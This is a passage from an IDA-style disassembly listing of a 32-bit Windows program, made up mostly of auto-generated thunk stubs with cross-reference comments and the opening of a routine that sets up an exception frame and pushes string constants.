sub_401EEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EF1	proc near		; CODE XREF: sub_422640+Ap
		jmp	sub_4227E0
sub_401EF1	endp

; ---------------------------------------------------------------------------
		jmp	loc_41BD50
; ---------------------------------------------------------------------------
		jmp	loc_433BA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F00	proc near		; CODE XREF: ___:00416AFBp
					; ___:0043B2A4j ...
		jmp	sub_417AE0
sub_401F00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F05	proc near		; CODE XREF: sub_40A8E0+13p
		jmp	loc_40AA20
sub_401F05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F0A	proc near		; CODE XREF: sub_41B130:loc_41B17Cp
					; sub_41BA50+54p ...
		jmp	sub_4199A0
sub_401F0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F0F	proc near		; CODE XREF: ___:00414385p
		jmp	sub_415560
sub_401F0F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F14	proc near		; CODE XREF: sub_4157A0+34p
					; sub_4162B0+67p
		jmp	sub_416450
sub_401F14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F19	proc near		; CODE XREF: sub_4153C0+3p
					; ___:00415B3Fp ...
		jmp	sub_415DF0
sub_401F19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F1E	proc near
		jmp	sub_412CD0
sub_401F1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F23	proc near		; CODE XREF: sub_4131E0+4Dp
		jmp	sub_415440
sub_401F23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F28	proc near		; CODE XREF: sub_407140+5Cp
					; sub_418F50+3p
		jmp	sub_407360
sub_401F28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F2D	proc near		; CODE XREF: ___:004191F3p
		jmp	sub_4198F0
sub_401F2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F32	proc near		; CODE XREF: ___:0040BFEAp
		jmp	sub_40C320
sub_401F32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F37	proc near		; CODE XREF: ___:0042C44Fp
		jmp	sub_42C0A0
sub_401F37	endp

; ---------------------------------------------------------------------------


loc_401F3C:				; DATA XREF: ___:off_43F07Co
		jmp	loc_435B90
; ---------------------------------------------------------------------------


loc_401F41:				; DATA XREF: ___:00424194o
		jmp	loc_423D10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F46	proc near		; CODE XREF: ___:00416B5Bp
					; ___:0043B250j ...
		jmp	sub_417A00
sub_401F46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F4B	proc near		; CODE XREF: sub_413C30+99p
		jmp	sub_413E00
sub_401F4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F50	proc near		; CODE XREF: sub_40B460+3Dp
					; ___:0040BBFDp ...
		jmp	sub_40B7D0
sub_401F50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F55	proc near		; CODE XREF: ___:loc_423DA7p
		jmp	sub_423820
sub_401F55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F5A	proc near		; CODE XREF: sub_404C30+A38p
		jmp	sub_406850
sub_401F5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F5F	proc near		; DATA XREF: ___:off_43F1A0o
		jmp	sub_42C640
sub_401F5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F64	proc near		; CODE XREF: sub_413A70+72p
		jmp	sub_413730
sub_401F64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F69	proc near		; CODE XREF: sub_4182F0+5Fp
					; sub_418900+1Ap ...
		jmp	sub_418970
sub_401F69	endp

; ---------------------------------------------------------------------------
		jmp	loc_430290

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F73	proc near		; CODE XREF: sub_42F6F0+B5p
		jmp	sub_42E5B0
sub_401F73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F78	proc near		; CODE XREF: sub_40B5F0+4Bp
					; sub_40B5F0:loc_40B67Bp ...
		jmp	sub_40BF10
sub_401F78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F7D	proc near
		jmp	sub_41E400
sub_401F7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F82	proc near		; CODE XREF: sub_40A500+142p
		jmp	sub_40A8E0
sub_401F82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F87	proc near		; CODE XREF: sub_404600+35Dp
					; sub_404600+39Ep
		jmp	sub_404AD0
sub_401F87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F8C	proc near		; CODE XREF: sub_415EC0+9p
					; sub_415F60+18p
		jmp	sub_4167C0
sub_401F8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F91	proc near		; CODE XREF: sub_432E20+1Bp
		jmp	sub_432ED0
sub_401F91	endp

; ---------------------------------------------------------------------------
		jmp	loc_42C2C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F9B	proc near		; CODE XREF: sub_427740+1Dp
					; sub_427C90+1Dp ...
		jmp	sub_427B00
sub_401F9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FA0	proc near		; CODE XREF: sub_4290B0+1Dp
					; sub_429450+1Fp ...
		jmp	sub_429290
sub_401FA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FA5	proc near		; CODE XREF: ___:0042B063p
		jmp	sub_42B090
sub_401FA5	endp

; ---------------------------------------------------------------------------
		jmp	loc_406C20
; ---------------------------------------------------------------------------
		jmp	loc_40D530

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FB4	proc near		; CODE XREF: sub_4096D0+112p
					; sub_4096D0+153p
		jmp	sub_409A10
sub_401FB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FB9	proc near		; CODE XREF: sub_422700+5p
		jmp	sub_422870
sub_401FB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FBE	proc near		; CODE XREF: sub_407390+5p
		jmp	sub_407540
sub_401FBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FC3	proc near		; CODE XREF: sub_413730+6Fp
					; sub_413730+DBp ...
		jmp	sub_4153C0
sub_401FC3	endp

; ---------------------------------------------------------------------------
		jmp	loc_42CB20

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FCD	proc near		; CODE XREF: sub_4152D0+6Ap
					; sub_415CD0+32p
		jmp	sub_415C10
sub_401FCD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FD2	proc near
		jmp	sub_40F0F0
sub_401FD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FD7	proc near		; CODE XREF: sub_412740+3p
		jmp	sub_412770
sub_401FD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FDC	proc near		; CODE XREF: sub_404600+48p
					; sub_404600+5Dp ...
		jmp	sub_409DF0
sub_401FDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FE1	proc near		; DATA XREF: ___:off_43F080o
		jmp	sub_419A50
sub_401FE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FE6	proc near		; CODE XREF: sub_41A1E0+3p
					; sub_41B110+9j ...
		jmp	sub_41A210
sub_401FE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FEB	proc near		; CODE XREF: sub_40BD80+34p
					; sub_40C1F0+67p
		jmp	sub_40C110
sub_401FEB	endp

; ---------------------------------------------------------------------------
		jmp	loc_433980
; ---------------------------------------------------------------------------


loc_401FF5:				; DATA XREF: ___:off_43F084o
		jmp	loc_436570

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FFA	proc near
		jmp	sub_40F170
sub_401FFA	endp

; ---------------------------------------------------------------------------
		jmp	loc_4375F0
; ---------------------------------------------------------------------------


loc_402004:				; DATA XREF: ___:0043F03Co
		jmp	loc_41EDB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402009	proc near		; CODE XREF: sub_41F860+5Ap
		jmp	sub_41FF40
sub_402009	endp

; ---------------------------------------------------------------------------
		jmp	loc_431670

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402013	proc near		; CODE XREF: ___:00416B1Bp
					; ___:0043B288j ...
		jmp	sub_417AC0
sub_402013	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402018	proc near		; CODE XREF: ___:00416D3Fp
		jmp	sub_4131E0
sub_402018	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40201D	proc near		; CODE XREF: sub_421B80+5p
		jmp	sub_422080
sub_40201D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402022	proc near		; CODE XREF: ___:00421654p
		jmp	sub_41C0A0
sub_402022	endp

; ---------------------------------------------------------------------------
off_402027	dd offset byte_4BF4E9	; DATA XREF: ___:off_43F008o
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40202C	proc near		; CODE XREF: sub_404600+2CEp
					; sub_404C30+46Fp ...
		jmp	sub_40A740
sub_40202C	endp

; ---------------------------------------------------------------------------
		jmp	loc_434410
; ---------------------------------------------------------------------------
		jmp	sub_41B4A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40203B	proc near		; CODE XREF: sub_422470+Ap
		jmp	sub_422750
sub_40203B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402040	proc near		; CODE XREF: sub_404C30+7E7p
		jmp	sub_41BA50
sub_402040	endp

; ---------------------------------------------------------------------------


loc_402045:				; DATA XREF: ___:off_43F014o
		jmp	loc_40AEB0
; ---------------------------------------------------------------------------


loc_40204A:				; DATA XREF: ___:off_43F078o
		jmp	loc_42D150

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40204F	proc near		; CODE XREF: ___:0040AEB3p
					; ___:0041299Ep ...
		jmp	sub_40AEE0
sub_40204F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402054	proc near		; CODE XREF: sub_424920+109p
					; sub_424920+178p ...
		jmp	sub_424800
sub_402054	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402059	proc near		; CODE XREF: sub_4099B0+7p
		jmp	sub_409AA0
sub_402059	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40205E	proc near		; CODE XREF: sub_416750+Ap
		jmp	sub_416960
sub_40205E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402063	proc near
		jmp	sub_40CBE0
sub_402063	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402068	proc near		; CODE XREF: ___:004301DBp
					; sub_4310C0+EAp
		jmp	sub_434320
sub_402068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40206D	proc near		; CODE XREF: sub_421A60+5p
					; sub_421B50+6p ...
		jmp	sub_421FF0
sub_40206D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402072	proc near		; CODE XREF: sub_40FE30+8ADp
					; sub_40FE30+95Ep ...
		jmp	sub_412B50
sub_402072	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402077	proc near		; CODE XREF: sub_40C110+7p
		jmp	sub_40C300
sub_402077	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40207C	proc near		; CODE XREF: sub_418900+34p
					; sub_418F80+67p
		jmp	sub_418D90
sub_40207C	endp

; ---------------------------------------------------------------------------
		jmp	loc_409BE0
; ---------------------------------------------------------------------------


loc_402086:				; DATA XREF: ___:off_43F13Co
		jmp	loc_429420

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40208B	proc near		; CODE XREF: sub_416FE0+2Bp
					; sub_416FE0+3Bp ...
		jmp	sub_403EA0
sub_40208B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402090	proc near		; CODE XREF: sub_4098A0+14p
		jmp	sub_409900
sub_402090	endp

; ---------------------------------------------------------------------------
		jmp	loc_4332C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40209A	proc near		; CODE XREF: sub_428DC0:loc_428FCBp
		jmp	sub_428CE0
sub_40209A	endp

; ---------------------------------------------------------------------------
		jmp	sub_4277B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A4	proc near		; CODE XREF: sub_4182F0+4Dp
		jmp	sub_418A30
sub_4020A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A9	proc near		; CODE XREF: sub_415220+5p
					; sub_4153E0+6p ...
		jmp	sub_415DD0
sub_4020A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020AE	proc near		; CODE XREF: sub_4277B0+3p
		jmp	sub_4277E0
sub_4020AE	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B1C0
; ---------------------------------------------------------------------------
		jmp	loc_421620

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020BD	proc near		; CODE XREF: ___:00416D0Fp
		jmp	sub_407080
sub_4020BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020C2	proc near		; CODE XREF: sub_413730+83p
					; sub_414590+91p ...
		jmp	sub_4153E0
sub_4020C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020C7	proc near		; DATA XREF: ___:0043F060o
		jmp	sub_41EF30
sub_4020C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020CC	proc near		; CODE XREF: sub_40AAC0+144p
		jmp	sub_40ADD0
sub_4020CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020D1	proc near		; CODE XREF: sub_431240+BAp
					; sub_433C70+36p
		jmp	sub_433CE0
sub_4020D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020D6	proc near		; CODE XREF: sub_421EF0+23p
					; sub_422340+11p
		jmp	sub_4224E0
sub_4020D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020DB	proc near		; CODE XREF: sub_4221E0+4p
		jmp	sub_4225F0
sub_4020DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020E0	proc near		; CODE XREF: sub_42BB00+3BBp
		jmp	sub_42B730
sub_4020E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020E5	proc near		; CODE XREF: ___:0041A312p
		jmp	sub_41A3B0
sub_4020E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020EA	proc near		; CODE XREF: sub_416850+Ap
		jmp	sub_4169B0
sub_4020EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020EF	proc near		; DATA XREF: ___:off_43F18Co
		jmp	sub_42C5C0
sub_4020EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020F4	proc near		; CODE XREF: sub_415D60+4p
		jmp	sub_416580
sub_4020F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020F9	proc near		; CODE XREF: ___:004307A6p
					; ___:00430808p ...
		jmp	sub_434AD0
sub_4020F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020FE	proc near		; CODE XREF: sub_418E10+8p
		jmp	sub_4190B0
sub_4020FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402103	proc near		; CODE XREF: sub_418850+34p
					; sub_418E70+67p
		jmp	sub_418C90
sub_402103	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402108	proc near		; CODE XREF: sub_41A7D0+117p
		jmp	sub_41B6F0
sub_402108	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40210D	proc near		; CODE XREF: sub_415B90+35p
		jmp	sub_416660
sub_40210D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402112	proc near		; CODE XREF: sub_404C30+459p
					; sub_4066A0+43p ...
		jmp	sub_409C90
sub_402112	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402117	proc near		; CODE XREF: sub_40BDF0+5p
					; sub_40BF30+6p ...
		jmp	sub_40C130
sub_402117	endp

; ---------------------------------------------------------------------------
		jmp	loc_4308A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402121	proc near		; CODE XREF: ___:00416E3Ap
		jmp	sub_4191A0
sub_402121	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402126	proc near		; CODE XREF: ___:0042AF83p
		jmp	sub_42AFB0
sub_402126	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40212B	proc near		; CODE XREF: sub_40FE30+F3Dp
					; sub_40FE30+1392p ...
		jmp	sub_414890
sub_40212B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402130	proc near		; CODE XREF: sub_413A70+38p
					; sub_413E60+5Fp
		jmp	sub_4135D0
sub_402130	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402135	proc near		; CODE XREF: sub_40A200+14p
					; sub_40A230+7p ...
		jmp	sub_40A250
sub_402135	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40213A	proc near		; CODE XREF: sub_42B440+157p
		jmp	sub_42AFF0
sub_40213A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40213F	proc near		; CODE XREF: sub_40ACB0+1Ap
					; sub_40AD00+1Ap
		jmp	sub_40AD70
sub_40213F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402144	proc near		; CODE XREF: sub_4156E0+3p
					; ___:00415F0Fp ...
		jmp	sub_416140
sub_402144	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402149	proc near		; DATA XREF: ___:0043F02Co
		jmp	sub_40FE30
sub_402149	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40214E	proc near		; CODE XREF: sub_414890+EDp
		jmp	sub_415910
sub_40214E	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B460

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402158	proc near		; CODE XREF: sub_40BEF0+3p
		jmp	sub_40C170
sub_402158	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40215D	proc near		; CODE XREF: sub_40BF90+11p
					; ___:0040BFB7p ...
		jmp	sub_40C2B0
sub_40215D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402162	proc near		; CODE XREF: sub_41E660+2C5p
		jmp	sub_4207E0
sub_402162	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402167	proc near		; CODE XREF: sub_41D830+64Fp
		jmp	sub_41C170
sub_402167	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40216C	proc near		; CODE XREF: sub_418CB0+32p
		jmp	sub_418F80
sub_40216C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402171	proc near		; CODE XREF: sub_40ECF0+ACp
					; ___:0040F41Dp
		jmp	sub_40EE30
sub_402171	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402176	proc near		; CODE XREF: sub_4138A0+93p
		jmp	sub_434D10
sub_402176	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40217B	proc near		; CODE XREF: sub_415290+1Fp
					; sub_415B90+2Cp
		jmp	sub_415AF0
sub_40217B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402180	proc near		; CODE XREF: ___:0042670Dp
		jmp	sub_4266D0
sub_402180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402185	proc near		; CODE XREF: sub_420530+17Dp
		jmp	sub_421AD0
sub_402185	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40218A	proc near		; CODE XREF: ___:0042D551p
		jmp	sub_42B380
sub_40218A	endp

; ---------------------------------------------------------------------------


loc_40218F:				; DATA XREF: ___:off_43F010o
		jmp	loc_409BE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402194	proc near		; CODE XREF: sub_40AAC0+6Ap
					; sub_40AAC0+103p
		jmp	sub_40AD00
sub_402194	endp

; ---------------------------------------------------------------------------
		jmp	loc_426280
; ---------------------------------------------------------------------------
		jmp	loc_427C60
; ---------------------------------------------------------------------------
		jmp	loc_41ACD0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021A8	proc near		; CODE XREF: sub_407270+14p
					; sub_4072B0+9p ...
		jmp	sub_407510
sub_4021A8	endp

; ---------------------------------------------------------------------------
		jmp	loc_418BB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021B2	proc near		; CODE XREF: sub_40B0D0+1Bp
		jmp	sub_433DC0
sub_4021B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021B7	proc near		; CODE XREF: ___:00415B4Ap
		jmp	sub_4165D0
sub_4021B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021BC	proc near		; CODE XREF: sub_4309A0+ABp
					; sub_431980+1Bp ...
		jmp	sub_4319F0
sub_4021BC	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FD80

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021C6	proc near		; CODE XREF: ___:0040876Dp
					; ___:0040878Fp ...
		jmp	sub_4199C0
sub_4021C6	endp

; ---------------------------------------------------------------------------
		jmp	loc_42DA00

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021D0	proc near		; CODE XREF: sub_40B5F0+55p
		jmp	sub_40A0A0
sub_4021D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021D5	proc near		; DATA XREF: ___:off_43F14Co
		jmp	sub_42AEE0
sub_4021D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021DA	proc near		; CODE XREF: sub_421BF0+34p
					; sub_422510+67p
		jmp	sub_422230
sub_4021DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021DF	proc near		; CODE XREF: sub_407140+2Cp
					; sub_407140+68p ...
		jmp	sub_4072B0
sub_4021DF	endp

; ---------------------------------------------------------------------------
		jmp	loc_4346E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021E9	proc near		; CODE XREF: sub_41C710+1B3p
					; sub_41C710+332p ...
		jmp	sub_41D770
sub_4021E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021EE	proc near		; CODE XREF: sub_40BD40+11p
					; sub_40BF90+1Fp
		jmp	sub_40C0C0
sub_4021EE	endp

; ---------------------------------------------------------------------------
		jmp	loc_4308E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021F8	proc near		; CODE XREF: sub_4246D0+1Ap
					; sub_4247B0+1Bp ...
		jmp	sub_424500
sub_4021F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021FD	proc near		; CODE XREF: ___:00416AABp
		jmp	sub_418900
sub_4021FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402202	proc near
		jmp	sub_42CE60
sub_402202	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FF70
; ---------------------------------------------------------------------------
		jmp	loc_430100

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402211	proc near		; CODE XREF: sub_434450+1Bp
		jmp	sub_4344C0
sub_402211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402216	proc near		; CODE XREF: sub_42F6F0+101p
		jmp	sub_42F040
sub_402216	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40221B	proc near		; DATA XREF: ___:off_43F00Co
		jmp	sub_407210
sub_40221B	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F5C0
; ---------------------------------------------------------------------------
		jmp	locret_418800

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40222A	proc near		; CODE XREF: sub_403700+25p
					; sub_403700+35p ...
		jmp	sub_403C50
sub_40222A	endp

; ---------------------------------------------------------------------------
		jmp	loc_4343F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402234	proc near		; CODE XREF: sub_4182F0+88p
					; sub_4182F0+98p
		jmp	sub_418A50
sub_402234	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402239	proc near		; CODE XREF: ___:00416BABp
					; ___:0043B20Aj ...
		jmp	sub_417730
sub_402239	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40223E	proc near		; CODE XREF: sub_418AA0+5p
		jmp	sub_418E40
sub_40223E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402243	proc near		; CODE XREF: sub_414700+3p
		jmp	sub_414730
sub_402243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402248	proc near		; CODE XREF: ___:004305EBp
					; ___:00430F17p ...
		jmp	sub_431DC0
sub_402248	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40224D	proc near		; DATA XREF: ___:off_43F11Co
		jmp	sub_4288F0
sub_40224D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402252	proc near		; CODE XREF: sub_430B30+102p
					; sub_432A20+5Dp ...
		jmp	sub_431B00
sub_402252	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402257	proc near		; CODE XREF: sub_4135D0+5Cp
					; sub_4135D0+C0p ...
		jmp	sub_415530
sub_402257	endp

; ---------------------------------------------------------------------------
		jmp	loc_432700
; ---------------------------------------------------------------------------
		jmp	loc_430460

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402266	proc near		; CODE XREF: sub_41D830+203p
		jmp	sub_42E3C0
sub_402266	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40226B	proc near		; CODE XREF: sub_42F6F0+148p
					; sub_42F6F0+173p
		jmp	sub_42EF60
sub_40226B	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F490

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402275	proc near		; CODE XREF: sub_413490+34p
					; sub_414890+40p
		jmp	sub_4159E0
sub_402275	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40227A	proc near		; CODE XREF: sub_40CC80+1A4p
					; sub_40D030+ADp
		jmp	sub_40D030
sub_40227A	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F510

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402284	proc near		; CODE XREF: sub_422B40+938p
		jmp	loc_424080
sub_402284	endp

; ---------------------------------------------------------------------------
		jmp	loc_419B90
; ---------------------------------------------------------------------------


loc_40228E:				; CODE XREF: ___:00439FE6j
		jmp	loc_40CFB0
; ---------------------------------------------------------------------------
		db 129Dh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403530	proc near		; CODE XREF: sub_4019C4j

var_46C		= dword	ptr -46Ch
var_468		= byte ptr -468h
var_450		= byte ptr -450h
var_438		= byte ptr -438h
var_420		= byte ptr -420h
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_403530
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 460h
		mov	eax, [esp+46Ch+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+478h+var_408], eax
		mov	eax, [esp+478h+arg_8]
		xor	edi, edi
		mov	esi, 1
		cmp	eax, edi
		mov	[esp+478h+var_46C], edi
		jz	short loc_403589
		lea	edx, [esp+478h+arg_8]
		lea	ecx, [esp+478h+var_404]


loc_40357A:				; CODE XREF: sub_403530+57j
		add	edx, 4
		mov	[ecx], eax
		inc	esi
		add	ecx, 4
		mov	eax, [edx]
		cmp	eax, edi
		jnz	short loc_40357A


loc_403589:				; CODE XREF: sub_403530+3Dj
		lea	ecx, [esp+478h+var_468]
		mov	[esp+esi*4+478h+var_408], edi
		call	sub_40142E
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+47Ch+var_438]
		mov	[esp+47Ch+var_4], 1
		call	sub_401870
		push	offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"...
		lea	ecx, [esp+47Ch+var_468]
		mov	byte ptr [esp+47Ch+var_4], 2
		call	sub_401A9B
		push	offset byte_448F30
